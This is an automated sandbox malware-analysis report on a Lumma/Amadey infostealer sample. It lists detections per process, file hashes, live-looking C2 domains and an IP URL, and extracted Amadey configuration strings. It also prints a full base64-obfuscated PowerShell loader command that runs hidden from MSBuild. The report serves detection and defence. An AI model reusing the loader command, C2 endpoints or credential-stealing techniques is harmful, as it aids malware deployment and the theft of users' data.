File name:

random.exe

Full analysis: https://app.any.run/tasks/2c69f681-5606-42f9-95f4-2671a897b212
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: May 17, 2025, 09:01:49
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
lumma
stealer
themida
loader
amadey
botnet
gcleaner
rdp
auto
generic
arch-exec
telegram
phishing
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
MD5:

652A93C98869279A911EEE1C960ED7CD

SHA1:

42E566AAAE6CF3A410FA00DEC87A3857DED8333E

SHA256:

30FC2960F2F2D22A93D2EEA95401B32F71D1E067E05D08FAAA564AAFE7510385

SSDEEP:

98304:IlgxjxK8lMK3LP1Y0g/QrMy1JdSKHOmLYLGDVrH4oQCj4UjRUhNM9SmCM3/tAPFE:

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • LUMMA has been detected (SURICATA)

      • random.exe (PID: 6436)
      • svchost.exe (PID: 2196)

    • Connects to the CnC server

      • svchost.exe (PID: 2196)
      • ramez.exe (PID: 7996)

    • LUMMA mutex has been found

      • random.exe (PID: 6436)

    • Actions looks like stealing of personal data

      • random.exe (PID: 6436)

    • LUMMA has been detected (YARA)

      • random.exe (PID: 6436)

    • Steals credentials from Web Browsers

      • random.exe (PID: 6436)

    • AMADEY mutex has been found

      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • ramez.exe (PID: 7996)
      • ramez.exe (PID: 6540)
      • ramez.exe (PID: 6044)

    • AMADEY has been detected (SURICATA)

      • ramez.exe (PID: 7996)

    • Executing a file with an untrusted certificate

      • 2fe2b5f1fb.exe (PID: 6240)
      • YCL.exe (PID: 720)
      • YCL.exe (PID: 7920)

    • AMADEY has been detected (YARA)

      • ramez.exe (PID: 7996)

    • GCLEANER has been detected (SURICATA)

      • cvtres.exe (PID: 5892)

    • GENERIC has been found (auto)

      • cvtres.exe (PID: 5892)

    • PHISHING has been detected (SURICATA)

      • msedge.exe (PID: 7420)
      • svchost.exe (PID: 2196)

  • SUSPICIOUS

    • Reads the BIOS version

      • random.exe (PID: 6436)
      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • ramez.exe (PID: 7996)
      • ramez.exe (PID: 6540)
      • ramez.exe (PID: 6044)

    • Contacting a server suspected of hosting an CnC

      • svchost.exe (PID: 2196)
      • random.exe (PID: 6436)
      • ramez.exe (PID: 7996)

    • Executable content was dropped or overwritten

      • random.exe (PID: 6436)
      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)
      • YCL.exe (PID: 720)
      • 7z.exe (PID: 5260)
      • cmd.exe (PID: 7652)
      • YCL.exe (PID: 7920)
      • 7z.exe (PID: 5600)
      • cmd.exe (PID: 8008)
      • ea4e49af96.tmp (PID: 4776)
      • ea4e49af96.exe (PID: 6476)
      • csc.exe (PID: 672)
      • csc.exe (PID: 4016)
      • csc.exe (PID: 4572)
      • csc.exe (PID: 1496)
      • csc.exe (PID: 5280)
      • csc.exe (PID: 8132)
      • csc.exe (PID: 4188)
      • csc.exe (PID: 8828)
      • csc.exe (PID: 3968)
      • csc.exe (PID: 8468)
      • csc.exe (PID: 8324)
      • csc.exe (PID: 776)
      • csc.exe (PID: 3332)
      • csc.exe (PID: 4452)
      • csc.exe (PID: 8460)

    • Reads security settings of Internet Explorer

      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)
      • YCL.exe (PID: 720)
      • YCL.exe (PID: 7920)

    • Starts itself from another location

      • 3HTQKQ2MGV32G88R.exe (PID: 7836)

    • Connects to the server without a host name

      • random.exe (PID: 6436)
      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)

    • Process requests binary or script from the Internet

      • random.exe (PID: 6436)
      • ramez.exe (PID: 7996)

    • Potential Corporate Privacy Violation

      • random.exe (PID: 6436)
      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)

    • Searches for installed software

      • random.exe (PID: 6436)

    • There is functionality for enable RDP (YARA)

      • ramez.exe (PID: 7996)

    • The process executes via Task Scheduler

      • ramez.exe (PID: 6540)
      • ramez.exe (PID: 6044)
      • ramez.exe (PID: 5552)
      • ramez.exe (PID: 7648)

    • Executing commands from a ".bat" file

      • YCL.exe (PID: 720)
      • YCL.exe (PID: 7920)

    • Starts CMD.EXE for commands execution

      • YCL.exe (PID: 720)
      • YCL.exe (PID: 7920)

    • The executable file from the user directory is run by the CMD process

      • 7z.exe (PID: 2420)
      • 7z.exe (PID: 5360)
      • 7z.exe (PID: 5260)
      • svchost.exe (PID: 7688)
      • 7z.exe (PID: 7148)
      • 7z.exe (PID: 6940)
      • 7z.exe (PID: 5600)
      • svchost.exe (PID: 3896)

    • The process creates files with name similar to system file names

      • 7z.exe (PID: 5260)
      • WerFault.exe (PID: 7728)
      • 7z.exe (PID: 5600)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 7652)
      • cmd.exe (PID: 8008)

    • Executes application which crashes

      • svchost.exe (PID: 7688)
      • svchost.exe (PID: 3896)
      • core.exe (PID: 2148)

    • Drops 7-zip archiver for unpacking

      • YCL.exe (PID: 720)
      • YCL.exe (PID: 7920)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • MSBuild.exe (PID: 4000)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 672)
      • csc.exe (PID: 4016)
      • csc.exe (PID: 1496)
      • csc.exe (PID: 4572)
      • csc.exe (PID: 776)
      • csc.exe (PID: 5280)
      • csc.exe (PID: 8132)
      • csc.exe (PID: 4188)
      • csc.exe (PID: 8468)
      • csc.exe (PID: 8828)
      • csc.exe (PID: 3968)
      • csc.exe (PID: 3332)
      • csc.exe (PID: 8324)
      • csc.exe (PID: 4452)
      • csc.exe (PID: 8460)

    • BASE64 encoded PowerShell command has been detected

      • MSBuild.exe (PID: 4000)

    • The process bypasses the loading of PowerShell profile settings

      • MSBuild.exe (PID: 4000)

    • The process hide an interactive prompt from the user

      • MSBuild.exe (PID: 4000)

    • Starts POWERSHELL.EXE for commands execution

      • MSBuild.exe (PID: 4000)

    • Base64-obfuscated command line is found

      • MSBuild.exe (PID: 4000)

    • There is functionality for taking screenshot (YARA)

      • YCL.exe (PID: 720)

  • INFO

    • Reads the software policy settings

      • random.exe (PID: 6436)
      • slui.exe (PID: 7352)
      • cvtres.exe (PID: 5892)
      • slui.exe (PID: 6112)

    • Checks supported languages

      • random.exe (PID: 6436)
      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • ramez.exe (PID: 7996)
      • 2fe2b5f1fb.exe (PID: 6240)
      • cvtres.exe (PID: 5892)
      • ramez.exe (PID: 6540)
      • YCL.exe (PID: 720)
      • mode.com (PID: 6676)
      • 7z.exe (PID: 2420)
      • 7z.exe (PID: 5260)
      • svchost.exe (PID: 7688)
      • ramez.exe (PID: 6044)
      • YCL.exe (PID: 7920)
      • mode.com (PID: 6068)
      • 7z.exe (PID: 7148)
      • 7z.exe (PID: 6940)
      • 7z.exe (PID: 5600)
      • 7z.exe (PID: 5360)
      • svchost.exe (PID: 3896)

    • Reads the computer name

      • random.exe (PID: 6436)
      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)
      • 7z.exe (PID: 2420)
      • 7z.exe (PID: 5360)
      • 7z.exe (PID: 5260)
      • svchost.exe (PID: 7688)
      • 2fe2b5f1fb.exe (PID: 6240)
      • YCL.exe (PID: 7920)
      • YCL.exe (PID: 720)
      • 7z.exe (PID: 6940)
      • 7z.exe (PID: 5600)
      • svchost.exe (PID: 3896)
      • 7z.exe (PID: 7148)

    • Themida protector has been detected

      • random.exe (PID: 6436)
      • ramez.exe (PID: 7996)

    • Process checks computer location settings

      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • ramez.exe (PID: 7996)
      • YCL.exe (PID: 720)
      • YCL.exe (PID: 7920)

    • Create files in a temporary directory

      • 3HTQKQ2MGV32G88R.exe (PID: 7836)
      • random.exe (PID: 6436)
      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)
      • YCL.exe (PID: 720)
      • 7z.exe (PID: 2420)
      • 7z.exe (PID: 5360)
      • 7z.exe (PID: 5260)
      • YCL.exe (PID: 7920)
      • 7z.exe (PID: 7148)
      • 7z.exe (PID: 6940)
      • 7z.exe (PID: 5600)

    • Checks proxy server information

      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)
      • slui.exe (PID: 6112)

    • Creates files or folders in the user directory

      • ramez.exe (PID: 7996)
      • cvtres.exe (PID: 5892)
      • WerFault.exe (PID: 7728)

    • The sample compiled with english language support

      • ramez.exe (PID: 7996)
      • YCL.exe (PID: 720)
      • YCL.exe (PID: 7920)

    • Reads the machine GUID from the registry

      • 2fe2b5f1fb.exe (PID: 6240)
      • cvtres.exe (PID: 5892)
      • svchost.exe (PID: 7688)
      • svchost.exe (PID: 3896)

    • Manual execution by a user

      • cvtres.exe (PID: 5892)
      • YCL.exe (PID: 720)
      • WinRAR.exe (PID: 4944)
      • YCL.exe (PID: 7920)
      • svchost.exe (PID: 5380)

    • Starts MODE.COM to configure console settings

      • mode.com (PID: 6676)
      • mode.com (PID: 6068)

    • Application launched itself

      • chrome.exe (PID: 7812)
      • chrome.exe (PID: 8172)
      • chrome.exe (PID: 6040)
      • chrome.exe (PID: 4308)
      • msedge.exe (PID: 6576)
      • chrome.exe (PID: 7532)
      • chrome.exe (PID: 7684)
      • chrome.exe (PID: 3240)
      • chrome.exe (PID: 5892)
      • chrome.exe (PID: 3132)
      • chrome.exe (PID: 8284)
      • chrome.exe (PID: 8788)
      • chrome.exe (PID: 1168)
      • chrome.exe (PID: 7132)
      • chrome.exe (PID: 2432)
      • chrome.exe (PID: 2476)
      • msedge.exe (PID: 7848)
      • msedge.exe (PID: 1056)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Lumma

(PID) Process(6436) random.exe
C2 (9)onehunqpom.life/zpxd
narrathfpt.top/tekq
featurlyin.top/pdal
overcovtcg.top/juhd
laminaflbx.shop/twoq
cornerdurv.top/adwq
posseswsnc.top/akds
jackthyfuc.run/xpas
blackswmxc.top/bgry

Amadey

(PID) Process(7996) ramez.exe
C2185.156.72.96
URLhttp://185.156.72.96/te4h2nus/index.php
Version5.34
Options
Drop directoryd610cf342e
Drop nameramez.exe
Strings (125)lv:
msi
Kaspersky Lab
av:
|
#
"
\App
00000422
dm:
Powershell.exe
ProgramData\
ps1
rundll32
http://
Content-Disposition: form-data; name="data"; filename="
SOFTWARE\Microsoft\Windows NT\CurrentVersion
dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
id:
VideoID
cred.dll|clip.dll|
0000043f
cmd
00000423
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
-executionpolicy remotesigned -File "
2022
------
2016
og:
\0000
CurrentBuild
2019
:::
S-%lu-
" && timeout 1 && del
ProductName
Panda Security
ESET
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/k
+++
?scr=1
Doctor Web
GET
SYSTEM\ControlSet001\Services\BasicDisplay\Video
/quiet
.jpg
d610cf342e
vs:
sd:
rundll32.exe
"taskkill /f /im "
pc:
random
=
360TotalSecurity
<d>
wb
Content-Type: multipart/form-data; boundary=----
Startup
Norton
&& Exit"
os:
https://
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
2025
Avira
%-lu
zip
POST
" Content-Type: application/octet-stream
Rem
/te4h2nus/index.php
------
5.34
<c>
clip.dll
AVAST Software
\
shell32.dll
" && ren
e3
ramez.exe
kernel32.dll
DefaultSettings.XResolution
d1
DefaultSettings.YResolution
185.156.72.96
r=
cred.dll
--
GetNativeSystemInfo
-%lu
ComputerName
&unit=
Keyboard Layout\Preload
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
ar:
Sophos
%USERPROFILE%
exe
e1
e2
st=s
Programs
0123456789
un:
rb
bi:
abcdefghijklmnopqrstuvwxyz0123456789-_
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
cmd /C RMDIR /s/q
Bitdefender
-unicode-
AVG
WinDefender
&&
shutdown -s -t 0
Comodo
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
Main
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:05:15 15:45:51+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 322560
InitializedDataSize: 38400
UninitializedDataSize: -
EntryPoint: 0x4bc000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
355
Monitored processes
214
Malicious processes
15
Suspicious processes
4

Behavior graph

Click at the process to see the details
start #LUMMA random.exe #LUMMA svchost.exe sppextcomobj.exe no specs slui.exe 3htqkq2mgv32g88r.exe #AMADEY ramez.exe 2fe2b5f1fb.exe no specs #GCLEANER cvtres.exe ramez.exe no specs slui.exe rundll32.exe no specs ycl.exe cmd.exe conhost.exe no specs mode.com no specs 7z.exe no specs 7z.exe no specs 7z.exe attrib.exe no specs svchost.exe werfault.exe no specs winrar.exe no specs ramez.exe no specs ycl.exe cmd.exe conhost.exe no specs mode.com no specs 7z.exe no specs 7z.exe no specs 7z.exe attrib.exe no specs svchost.exe werfault.exe no specs svchost.exe no specs ramez.exe no specs ea4e49af96.exe ea4e49af96.tmp info.exe conhost.exe no specs core.exe msbuild.exe werfault.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs ramez.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs msedge.exe chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs msedge.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs msedge.exe no specs #PHISHING msedge.exe msedge.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs msedge.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs msedge.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe csc.exe cvtres.exe no specs cvtres.exe no specs csc.exe cvtres.exe no specs csc.exe csc.exe cvtres.exe no specs cvtres.exe no specs csc.exe csc.exe cvtres.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs cvtres.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs csc.exe msedge.exe csc.exe csc.exe cvtres.exe no specs csc.exe msedge.exe no specs cvtres.exe no specs cvtres.exe no specs msedge.exe no specs cvtres.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs identity_helper.exe no specs identity_helper.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs identity_helper.exe no specs identity_helper.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
240\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
300C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESBF09.tmp" "c:\Users\admin\AppData\Local\Temp\CSC576C9FFAA628452F9771BCA4CA9F3E8B.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_1_clr0400.dll
632"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=3024 --field-trial-handle=2884,i,9851311548499673526,15213363266971273854,262144 --variations-seed-version /prefetch:2C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
672"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\acjqfp1i.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
680"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffc8a45dc40,0x7ffc8a45dc4c,0x7ffc8a45dc58C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
720"C:\Users\admin\AppData\Local\Temp\t503wsf5uwf\YCL.exe" C:\Users\admin\AppData\Local\Temp\t503wsf5uwf\YCL.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
YCleanner
Version:
1.3.2.5
Modules
Images
c:\users\admin\appdata\local\temp\t503wsf5uwf\ycl.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shell32.dll
776"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\2d4qa33d.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
864C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADQAMwAwADgAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABhAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgAQgBCADkALgB0AG0AcAAnADsAIAAmACgAIAAkAHMAaABFAGwAbABpAGQAWwAxAF0AKwAkAFMASABFAEwAbABJAEQAWwAxADMAXQArACcAeAAnACkAKAAgAG4ARQB3AC0AbwBCAGoARQBDAFQAIAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQAgAFsAYwBPAG4AdgBFAHIAdABdADoAOgBmAHIAbwBNAEIAQQBTAEUANgA0AHMAdAByAGkAbgBHACgAJwBwAFYAVABSAGIAdABvAHcARgBIADIAdgB4AEQAOQA0AGkASQBkAEUATQBzAGkAagBhAEoAcQBLAEkAcABXAEcAZABxAHYAVQBhAGgAVgAwAFcAegBYAEUAZwAwAGwAdQBTAFQAVABIAGoAaAB5AG4ARABTAHYANwA5ADkAMABrAFoAbwBVAHUARwAwAFYANwBpAGUAKwBOADcAWABQAHUAOQBUAG4AMgBLAEEAeQA3AHQANgBzAFUAUwBQAFUAZAB3ADMAMABzAFkAeABNAHIAUwBVADcAYgByAGEATQA4AGkAKwBXAFMAVABGAGUAWgBnAFcAUgBJAHQAcgBQAGUASgBKAGMAbQBUAHEAQgAzAEsAUQAxAG8AbABVADUAQgBQADgAUQBCAFoATQBQAFcAVQBaAG8AdgBSAEIAeQBRAFEAUABBAHMASQAzAGQAUABKAEYAQQB5AE0AeQBTAFAAcABTAEUAagBqAHgAVwBNAHMAVAA0ADkASwA0AE0AQgBZADkAUwB2AC8ANwB5AG4ANAB5AHIAbwBNADMAcABlAEIAVwA4AFoASQBzADMARwBRAGwAdwBtAHEAZABMAEcAYQBYADgASABMAFUARQBjADkAOQB2AHUAUABEAFAAYwBJAEEARQBVAHkAQwB3AEoARgBuAEIAagBOAFAAbQBVAGcAcgB6AFIAQwBrAHYASQBuAEkAcQByAG8AQQB1AGwAQgBGAG4AUgBLAHYAdgBoAHYAaABhAHYAMgB1AFUATABsAGMARgBIAEwAawBNAEIAagBpAFUAbwBYAG8AMQBnAE4AMwB5AEoAdABjAG0ANQBHAEEAbQBoAGcAdgBQAGkATgB3AHkAMQB3AGEAYQB3AGUAdQBEADEAcwBEAGkAcwB6AEsAOAA2AE4AbQBDADcAdgBvAFoARQA2AFYAVQBEAHoAVwBKAGwAWQBEAFoALwBKAGwASwA1AFYAZQBOAEEATQB0AHMAUAAwAGgAawBJAFQARwBOAEgAbgAyADMAMAAzADEAdwBYAEkAcwArAGkAUwAvAFMATgB6AG8AUABTAGoAVAA0AFAASQB2AGcAWAA0AGEASABpACsAQgBxADQAZwBRAG0AZQBtAFkASABiAEMASgBQAHcANwB3AEwAWgBuAEcAKwBDAFIAVAAwAFIAYgBQAEwAUQBmAFgAYQA5AEoAYQB1AGEAbQBOAFIARwBUAEQAYwBLAGgATwA2AFQAMwBSAEYANQAyADMAWQBkAHIAYwAvAFcALwBuAHEAOABQAHEAZgAzAFgARwBSAEEAMAB4AEkAdgB2AG4AYwBpAHoANgB2AFgAOQA3ADcAaABGAFgATQAxAG0AQgB3AGIAcQBOAFkATQBMAFYARABpAHYAWABCAFoAUgBMAGUAMgAwAEsAbwBBAE4AKwB4AGQAZwBWAHkAYQBpAEwATABpAEcATwAvAGEAbQBoAFYAOQBIAEQAQQBiAE0ATQB1AFUANwBEAEkAOQBiAGQAcwAvAGMAbwBjADcAegBEACsAcgBwAHQAUwBRADQATAA0ADMAZgAzAGcAaQBvAGcAbAAxAHIAQwByAGIAeABBAE4AVwBlAFUARwA1AGUAOABEAHgAegBTAG4AaABIADQAYwBsAGUAbwBPADkAUwAvAHoAdwBaAFYAOABsADgAdQBOACsANQBCAEsAeQAyAFYAaQBOAFYAZQA4AEgAdABDAEkAWQByADgARgBOAHUAMABJAHcASgBOAGoATgB0ADgAKwA3AEYAcwBFAGMASQBrAEwAegBKAEgAYQBGAGMAMQBoAFoAKwA1AFIAMAByADcAaABjADUAbgB3AEoAeABKADkARwBYAEsAZQB0AG8AMAA3AG8AegBYAHcAbABIADAAQwBiACsAYwBuAEoAaABWAGIASgBHAGMALwBnADMAVwBCAHEATgBEADcAcwBqAHYATQBCAFQAQgBmAG4ARABhAEEAQQAzAFEAbAAvAEoASgAyAEYANgArAEsAMQB1AHMAUABWAEUAMgBkAFcAbgB2AGwAeABmADkANwBoAHQAQgBQAGkANwAxADgAPQAnACAAKQAsACAAWwBzAHkAUwBUAGUATQAuAEkAbwAuAEMATwBtAFAAcgBlAFMAcwBpAE8ATgAuAGMATwBtAHAAcgBlAFMAUwBpAE8AbgBNAG8AZABlAF0AOgA6AGQARQBDAG8AbQBwAHIAZQBTAFMAIAApAHwAIAAlACAAewAgAG4ARQB3AC0AbwBCAGoARQBDAFQAIAAgAEkATwAuAHMAdABSAGUAYQBtAHIAZQBhAGQARQBSACgAIAAkAF8ALABbAFMAWQBTAFQAZQBtAC4AVABlAHgAdAAuAGUAbgBjAG8ARABpAE4ARwBdADoAOgBBAHMAYwBpAEkAIAApAH0AIAB8ACAAJQAgAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApACAAfQApAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
